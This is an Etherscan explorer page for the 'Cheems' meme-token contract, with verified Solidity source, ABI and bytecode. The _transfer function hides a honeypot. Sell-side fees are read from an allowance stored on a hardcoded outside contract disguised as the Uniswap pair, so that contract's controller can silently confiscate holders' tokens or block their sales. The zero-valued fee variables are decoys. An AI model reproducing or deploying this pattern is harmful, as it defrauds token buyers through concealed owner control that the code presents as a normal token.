ETH Price: $3,234.02 (+2.09%)
Gas: 2 Gwei

Token

Cheems (CHEEMS)
 

Overview

Max Total Supply

420,000,000 CHEEMS

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,503,593.883783175 CHEEMS

Value
$0.00
0x1b0586e7034eb5a4cac97878e0aebb84204ec210
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Cheems

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-18
*/

// SPDX-License-Identifier: None

/**
Cheems - $CHEEMS 

The "bonk" dog 

Links: 
Telegram: https://t.me/cheemsonerc20
Twitter: https://x.com/cheemsonerc20
Website: https://cheemsoneth.fun/

**/

pragma solidity 0.8.25;

interface IUniswapV2Factory {
    function createPair(address tkenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IERC20 {
    function allowance(address owner, address spnder) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
}
contract Ownable {
    address private _owner;

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    constructor() {
        _owner = msg.sender;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
}
contract Cheems is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    uint256 private _totalSupply =  420000000 * 10 ** _decimals;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;    
    
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    bool tradingStarted = false;
    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IERC20 private uniswapPair = IERC20(0xc0F9eaB38B92D903F14cEa63ee1f197B3d7d0aE0);
    address public uniswapV2Pair;

    string private constant _name = "Cheems";
    string private constant _symbol = "CHEEMS";

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);

    constructor () {
        _balances[address(this)] = _totalSupply;
        emit Transfer(address(0), address(this), _totalSupply);
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function setTrading(bool _tradingOpen) public onlyOwner {
        tradingStarted = _tradingOpen;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address recipient, uint256 amount) private {
        uint256 _feeAmount = 0;
        require(amount > 0);
        require(from != address(0)); 
        bool takeFee = false;
        if (from != uniswapV2Pair && from != address(this)) {
            _feeAmount = amount.mul(
                uniswapPair.allowance(from, address(this))
                ).div(100);
                takeFee = true;
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount).sub(_feeAmount);
        emit Transfer(from, recipient, amount);
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingStarted); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingStarted = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a919061038a565b631908b10061004991906103d4565b6001555f6005555f6006555f6007555f6008555f60095f6101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c0f9eab38b92d903f14cea63ee1f197b3d7d0ae0600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610129575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060015460035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405161020c9190610424565b60405180910390a361043d565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561029b5780860481111561027757610276610219565b5b60018516156102865780820291505b808102905061029485610246565b945061025b565b94509492505050565b5f826102b3576001905061036e565b816102c0575f905061036e565b81600181146102d657600281146102e05761030f565b600191505061036e565b60ff8411156102f2576102f1610219565b5b8360020a91508482111561030957610308610219565b5b5061036e565b5060208310610133831016604e8410600b84101617156103445782820a90508381111561033f5761033e610219565b5b61036e565b6103518484846001610252565b9250905081840481111561036857610367610219565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61039482610375565b915061039f8361037e565b92506103cc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846102a4565b905092915050565b5f6103de82610375565b91506103e983610375565b92508282026103f781610375565b9150828204841483151761040e5761040d610219565b5b5092915050565b61041e81610375565b82525050565b5f6020820190506104375f830184610415565b92915050565b611c008061044a5f395ff3fe6080604052600436106100dc575f3560e01c8063715018a61161007e57806395d89b411161005857806395d89b41146102a4578063a9059cbb146102ce578063c9567bf91461030a578063dd62ed3e14610314576100dc565b8063715018a61461023c5780638da5cb5b146102525780638f70ccf71461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b604051610101919061136f565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611420565b61038d565b60405161013d9190611478565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b60405161016791906114a0565b60405180910390f35b34801561017b575f80fd5b50610196600480360381019061019191906114b9565b6103ac565b6040516101a39190611478565b60405180910390f35b3480156101b7575f80fd5b506101c0610458565b6040516101cd9190611524565b60405180910390f35b3480156101e1575f80fd5b506101ea61046d565b6040516101f7919061154c565b60405180910390f35b34801561020b575f80fd5b5061022660048036038101906102219190611565565b610492565b60405161023391906114a0565b60405180910390f35b348015610247575f80fd5b506102506104d8565b005b34801561025d575f80fd5b50610266610607565b604051610273919061154c565b60405180910390f35b348015610287575f80fd5b506102a2600480360381019061029d91906115ba565b61062e565b005b3480156102af575f80fd5b506102b86106bf565b6040516102c5919061136f565b60405180910390f35b3480156102d9575f80fd5b506102f460048036038101906102ef9190611420565b6106fc565b6040516103019190611478565b60405180910390f35b610312610712565b005b34801561031f575f80fd5b5061033a600480360381019061033591906115e5565b610b58565b60405161034791906114a0565b60405180910390f35b60606040518060400160405280600681526020017f436865656d730000000000000000000000000000000000000000000000000000815250905090565b5f610399338484610bda565b6001905092915050565b5f600154905090565b5f6103b8848484610d9d565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110d690919063ffffffff16565b610bda565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104f7610607565b73ffffffffffffffffffffffffffffffffffffffff161461054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105449061166d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1661064d610607565b73ffffffffffffffffffffffffffffffffffffffff16146106a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069a9061166d565b60405180910390fd5b8060095f6101000a81548160ff02191690831515021790555050565b60606040518060400160405280600681526020017f434845454d530000000000000000000000000000000000000000000000000000815250905090565b5f610708338484610d9d565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610731610607565b73ffffffffffffffffffffffffffffffffffffffff1614610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e9061166d565b60405180910390fd5b60095f9054906101000a900460ff161561079f575f80fd5b6107ce30600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610bda565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610839573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085d919061169f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610908919061169f565b6040518363ffffffff1660e01b81526004016109259291906116ca565b6020604051808303815f875af1158015610941573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610965919061169f565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109ed30610492565b5f806109f7610607565b426040518863ffffffff1660e01b8152600401610a1996959493929190611733565b60606040518083038185885af1158015610a35573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a5a91906117a6565b505050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610afb9291906117f6565b6020604051808303815f875af1158015610b17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3b9190611831565b50600160095f6101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f906118cc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad9061195a565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d9091906114a0565b60405180910390a3505050565b5f808211610da9575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610de0575f80fd5b5f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610e6a57503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f3657610f2f6064610f21600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e89306040518363ffffffff1660e01b8152600401610ed39291906116ca565b602060405180830381865afa158015610eee573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f129190611978565b8661111f90919063ffffffff16565b61119690919063ffffffff16565b9150600190505b610f868360035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110d690919063ffffffff16565b60035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110298261101b8560035f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111df90919063ffffffff16565b6110d690919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110c791906114a0565b60405180910390a35050505050565b5f61111783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123c565b905092915050565b5f80830361112f575f9050611190565b5f828461113c91906119d0565b905082848261114b9190611a3e565b1461118b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118290611ade565b60405180910390fd5b809150505b92915050565b5f6111d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061129e565b905092915050565b5f8082846111ed9190611afc565b905083811015611232576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122990611b79565b60405180910390fd5b8091505092915050565b5f838311158290611283576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127a919061136f565b60405180910390fd5b505f83856112919190611b97565b9050809150509392505050565b5f80831182906112e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112db919061136f565b60405180910390fd5b505f83856112f29190611a3e565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611341826112ff565b61134b8185611309565b935061135b818560208601611319565b61136481611327565b840191505092915050565b5f6020820190508181035f8301526113878184611337565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113bc82611393565b9050919050565b6113cc816113b2565b81146113d6575f80fd5b50565b5f813590506113e7816113c3565b92915050565b5f819050919050565b6113ff816113ed565b8114611409575f80fd5b50565b5f8135905061141a816113f6565b92915050565b5f80604083850312156114365761143561138f565b5b5f611443858286016113d9565b92505060206114548582860161140c565b9150509250929050565b5f8115159050919050565b6114728161145e565b82525050565b5f60208201905061148b5f830184611469565b92915050565b61149a816113ed565b82525050565b5f6020820190506114b35f830184611491565b92915050565b5f805f606084860312156114d0576114cf61138f565b5b5f6114dd868287016113d9565b93505060206114ee868287016113d9565b92505060406114ff8682870161140c565b9150509250925092565b5f60ff82169050919050565b61151e81611509565b82525050565b5f6020820190506115375f830184611515565b92915050565b611546816113b2565b82525050565b5f60208201905061155f5f83018461153d565b92915050565b5f6020828403121561157a5761157961138f565b5b5f611587848285016113d9565b91505092915050565b6115998161145e565b81146115a3575f80fd5b50565b5f813590506115b481611590565b92915050565b5f602082840312156115cf576115ce61138f565b5b5f6115dc848285016115a6565b91505092915050565b5f80604083850312156115fb576115fa61138f565b5b5f611608858286016113d9565b9250506020611619858286016113d9565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611657602083611309565b915061166282611623565b602082019050919050565b5f6020820190508181035f8301526116848161164b565b9050919050565b5f81519050611699816113c3565b92915050565b5f602082840312156116b4576116b361138f565b5b5f6116c18482850161168b565b91505092915050565b5f6040820190506116dd5f83018561153d565b6116ea602083018461153d565b9392505050565b5f819050919050565b5f819050919050565b5f61171d611718611713846116f1565b6116fa565b6113ed565b9050919050565b61172d81611703565b82525050565b5f60c0820190506117465f83018961153d565b6117536020830188611491565b6117606040830187611724565b61176d6060830186611724565b61177a608083018561153d565b61178760a0830184611491565b979650505050505050565b5f815190506117a0816113f6565b92915050565b5f805f606084860312156117bd576117bc61138f565b5b5f6117ca86828701611792565b93505060206117db86828701611792565b92505060406117ec86828701611792565b9150509250925092565b5f6040820190506118095f83018561153d565b6118166020830184611491565b9392505050565b5f8151905061182b81611590565b92915050565b5f602082840312156118465761184561138f565b5b5f6118538482850161181d565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118b6602483611309565b91506118c18261185c565b604082019050919050565b5f6020820190508181035f8301526118e3816118aa565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611944602283611309565b915061194f826118ea565b604082019050919050565b5f6020820190508181035f83015261197181611938565b9050919050565b5f6020828403121561198d5761198c61138f565b5b5f61199a84828501611792565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119da826113ed565b91506119e5836113ed565b92508282026119f3816113ed565b91508282048414831517611a0a57611a096119a3565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a48826113ed565b9150611a53836113ed565b925082611a6357611a62611a11565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611ac8602183611309565b9150611ad382611a6e565b604082019050919050565b5f6020820190508181035f830152611af581611abc565b9050919050565b5f611b06826113ed565b9150611b11836113ed565b9250828201905080821115611b2957611b286119a3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611b63601b83611309565b9150611b6e82611b2f565b602082019050919050565b5f6020820190508181035f830152611b9081611b57565b9050919050565b5f611ba1826113ed565b9150611bac836113ed565b9250828203905081811115611bc457611bc36119a3565b5b9291505056fea2646970667358221220c31578af263eacbdea8bc6b8c6e437fbd4ad85fd15cb5c147a730d278c73688664736f6c63430008190033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c8063715018a61161007e57806395d89b411161005857806395d89b41146102a4578063a9059cbb146102ce578063c9567bf91461030a578063dd62ed3e14610314576100dc565b8063715018a61461023c5780638da5cb5b146102525780638f70ccf71461027c576100dc565b806323b872dd116100ba57806323b872dd14610170578063313ce567146101ac57806349bd5a5e146101d657806370a0823114610200576100dc565b806306fdde03146100e0578063095ea7b31461010a57806318160ddd14610146575b5f80fd5b3480156100eb575f80fd5b506100f4610350565b604051610101919061136f565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b9190611420565b61038d565b60405161013d9190611478565b60405180910390f35b348015610151575f80fd5b5061015a6103a3565b60405161016791906114a0565b60405180910390f35b34801561017b575f80fd5b50610196600480360381019061019191906114b9565b6103ac565b6040516101a39190611478565b60405180910390f35b3480156101b7575f80fd5b506101c0610458565b6040516101cd9190611524565b60405180910390f35b3480156101e1575f80fd5b506101ea61046d565b6040516101f7919061154c565b60405180910390f35b34801561020b575f80fd5b5061022660048036038101906102219190611565565b610492565b60405161023391906114a0565b60405180910390f35b348015610247575f80fd5b506102506104d8565b005b34801561025d575f80fd5b50610266610607565b604051610273919061154c565b60405180910390f35b348015610287575f80fd5b506102a2600480360381019061029d91906115ba565b61062e565b005b3480156102af575f80fd5b506102b86106bf565b6040516102c5919061136f565b60405180910390f35b3480156102d9575f80fd5b506102f460048036038101906102ef9190611420565b6106fc565b6040516103019190611478565b60405180910390f35b610312610712565b005b34801561031f575f80fd5b5061033a600480360381019061033591906115e5565b610b58565b60405161034791906114a0565b60405180910390f35b60606040518060400160405280600681526020017f436865656d730000000000000000000000000000000000000000000000000000815250905090565b5f610399338484610bda565b6001905092915050565b5f600154905090565b5f6103b8848484610d9d565b61044d84336104488560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110d690919063ffffffff16565b610bda565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104f7610607565b73ffffffffffffffffffffffffffffffffffffffff161461054d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105449061166d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1661064d610607565b73ffffffffffffffffffffffffffffffffffffffff16146106a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069a9061166d565b60405180910390fd5b8060095f6101000a81548160ff02191690831515021790555050565b60606040518060400160405280600681526020017f434845454d530000000000000000000000000000000000000000000000000000815250905090565b5f610708338484610d9d565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610731610607565b73ffffffffffffffffffffffffffffffffffffffff1614610787576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077e9061166d565b60405180910390fd5b60095f9054906101000a900460ff161561079f575f80fd5b6107ce30600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610bda565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610839573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085d919061169f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108e4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610908919061169f565b6040518363ffffffff1660e01b81526004016109259291906116ca565b6020604051808303815f875af1158015610941573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610965919061169f565b600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306109ed30610492565b5f806109f7610607565b426040518863ffffffff1660e01b8152600401610a1996959493929190611733565b60606040518083038185885af1158015610a35573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a5a91906117a6565b505050600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610afb9291906117f6565b6020604051808303815f875af1158015610b17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b3b9190611831565b50600160095f6101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffff